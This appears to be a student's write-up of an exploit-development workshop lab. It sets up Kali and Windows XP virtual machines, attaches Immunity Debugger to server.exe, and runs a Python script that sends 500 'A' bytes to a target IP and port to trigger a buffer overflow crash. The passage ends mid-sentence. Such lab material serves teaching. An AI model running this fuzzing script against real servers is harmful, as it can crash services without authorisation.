WORKSHOP – EXPLOIT DEVELOPMENT
For the preparation of the workshop two virtual machine is setup in VmWare i.e. Kali Linux and
Windows XP and for both the machines the network configuration is set to NAT. The configuration
NAT enables the private IP to be connected with the internet and enable communication. The IP
address are checked for enabling communication between the machines and on the windows machine
the immunity debugger is opened for running the python script and loading the server.exe and
executed.
Then in the next step the kali linux is used for creating a file using the vi editor and is named as
attack.py. The code given in the workshop is inserted in the file that is given below:
#!/usr/bin/python
import sys
import os
import socket
host = sys.argv[1]
port = int(sys.argv[2])
# Testing
buffer = "\x41"*500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con = s.connect((host, port))
s.send(buffer)
s.close()
The command “python attack.py 192.168.0.57 1337” is executed for proceeding with the attack. The
IP address used is the IP address of the windows host. In the windows machine the keys shift + F9 is
pressed for passing the exception and execution of the code. A sample result is found that is given in
